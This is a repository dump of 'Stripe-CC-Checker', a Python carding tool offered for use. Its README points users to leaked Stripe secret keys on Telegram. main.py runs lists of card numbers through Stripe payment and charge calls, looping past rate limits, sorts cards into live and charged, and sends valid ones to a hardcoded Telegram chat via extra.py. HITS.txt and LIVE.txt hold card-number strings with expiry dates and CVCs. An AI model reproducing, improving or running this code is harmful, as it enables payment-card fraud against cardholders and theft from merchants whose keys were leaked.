├── HITS.txt ├── LIVE.txt ├── README.md ├── extra.py ├── main.py └── requirements.txt /HITS.txt: -------------------------------------------------------------------------------- 1 | 5275190026518668|10|2024|231 2 | -------------------------------------------------------------------------------- /LIVE.txt: -------------------------------------------------------------------------------- 1 | 4524320009191652|03|24|702 2 | 4859540008924010|08|26|807 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Stripe-CC-Checker 2 | A Python Terminal Based CC Checker Script. Rate Limit bypassed. 3 | 4 | You need your own sk keys to check cards. 5 | 6 | Run : 7 | ``` 8 | pip install -r requirements.txt 9 | python main.py 10 | ``` 11 | 12 | Change : 13 | > bot_token in extra.py 14 | 15 | > '766109755' with your telegram id in main.py line 57 and 66 if so hits will be delivered to your inbox 16 | 17 | Usage : 18 | > Enter a file path your credit cards are located. You can drag and drop too 19 | 20 | 21 | > Enter a secret key, you can get alot of leaked keys at @heckerdrops on telegram 22 | 23 | 24 | > Enter amount. If your amount is 1usd then you put 100 25 | 26 | 27 | > Enter a currency supported by stripe. Like : usd, inr, gbp, eur 28 | -------------------------------------------------------------------------------- /extra.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | def hit_sender(card,message,chat_id): 4 | bot_token = '5119865265:AAGo4fCkoRE9J2oXk6Yt7wVwLOo' 5 | url = f'https://api.telegram.org/bot{bot_token}/sendMessage' 6 | data = {'chat_id': chat_id, 'text': message} 7 | requests.post(url, data=data) 8 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from extra import * 3 | from termcolor import colored 4 | import time 5 | import json 6 | 7 | inputs = input('Enter File Path : ') 8 | sk = input('Enter Sk : ') 9 | amt = input('Enter Amount : ') 10 | currency = input('Enter Currency : ') 11 | 12 | if int(amt) < 50: 13 | print('Amount must be *100 of the total amount\nIf your amount is $0.8 then put 80') 14 | exit() 15 | if 'txt' not in inputs: 16 | file_open = inputs+'.txt' 17 | else: 18 | file_open = inputs 19 | 20 | with open(file_open,'r') as file: 21 | cards = file.read().split('\n') 22 | for card in cards: 23 | try: 24 | lista = card.split('|') 25 | start_time = time.time() 26 | id = '' 27 | while True: 28 | r1 = requests.post( 29 | 'https://api.stripe.com/v1/payment_methods', 30 | 'type=card&card[number]='+lista[0]+'&card[exp_month]='+lista[1]+'&card[exp_year]='+lista[2], 31 | headers = {'Authorization': 'Bearer ' + sk} 32 | ) 33 | if 'rate_limit' in r1.text: 34 | continue 35 | if 'pm' not in r1.text: 36 | end_time = time.time() 37 | total_time = end_time - start_time 38 | print(colored('\n[ ! ] # DEAD : '+card+'\n[ ! ] Result : '+json.loads(r1.text)['error']['message']+'\n[ ! ] Time : '+str(total_time), 'red')) 39 | break 40 | continue 41 | if 'pm' in r1.text: 42 | id = json.loads(r1.text)['id'] 43 | break 44 | while True: 45 | r2 = requests.post( 46 | 'https://api.stripe.com/v1/payment_intents', 47 | 'amount='+amt+'¤cy='+currency+'&payment_method_types[]=card&description=Kitten Crafts Donation&payment_method='+id+'&confirm=true&off_session=true', 48 | headers = {'Authorization': 'Bearer ' + sk} 49 | ) 50 | if 'rate_limit' in r2.text: 51 | continue 52 | end_time = time.time() 53 | total_time = end_time - start_time 54 | if 'succeeded' in r2.text or 'Payment complete' in r2.text or '"cvc_check": "pass"' in r2.text: 55 | output = '\n[ + ] # HITS : '+card+'\n[ + ] Result : 0.8$ CCN Charged ✅\n[ + ] Time : '+str(total_time) 56 | print(colored(output, 'green')) 57 | hit_sender(card, output, '766109755') 58 | with open('HITS.txt','r') as file: 59 | file.write(card+'\n') 60 | file.close() 61 | break 62 | continue 63 | elif 'insufficient_funds' in r2.text or 'incorrect_cvc' in r2.text or 'invalid_account' in r2.text or 'transaction_not_allowed' in r2.text or 'authentication_required' in r2.text: 64 | output = '\n[ + ] # LIVE : '+card+'\n[ + ] Result : '+json.loads(r2.text)['error']['message']+' ✅\n[ + ] Time : '+str(total_time) 65 | print(colored(output, 'green')) 66 | hit_sender(card, output, '766109755') 67 | with open('LIVE.txt','r') as file: 68 | file.write(card+'\n') 69 | file.close() 70 | break 71 | continue 72 | else: 73 | output = '\n[ ! ] # DEAD : '+card+'\n[ ! ] Result : '+json.loads(r2.text)['error']['message']+'\n[ ! ] Time : '+str(total_time) 74 | print(colored(output, 'red')) 75 | break 76 | continue 77 | except Exception: 78 | pass 79 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | termcolor 3 | --------------------------------------------------------------------------------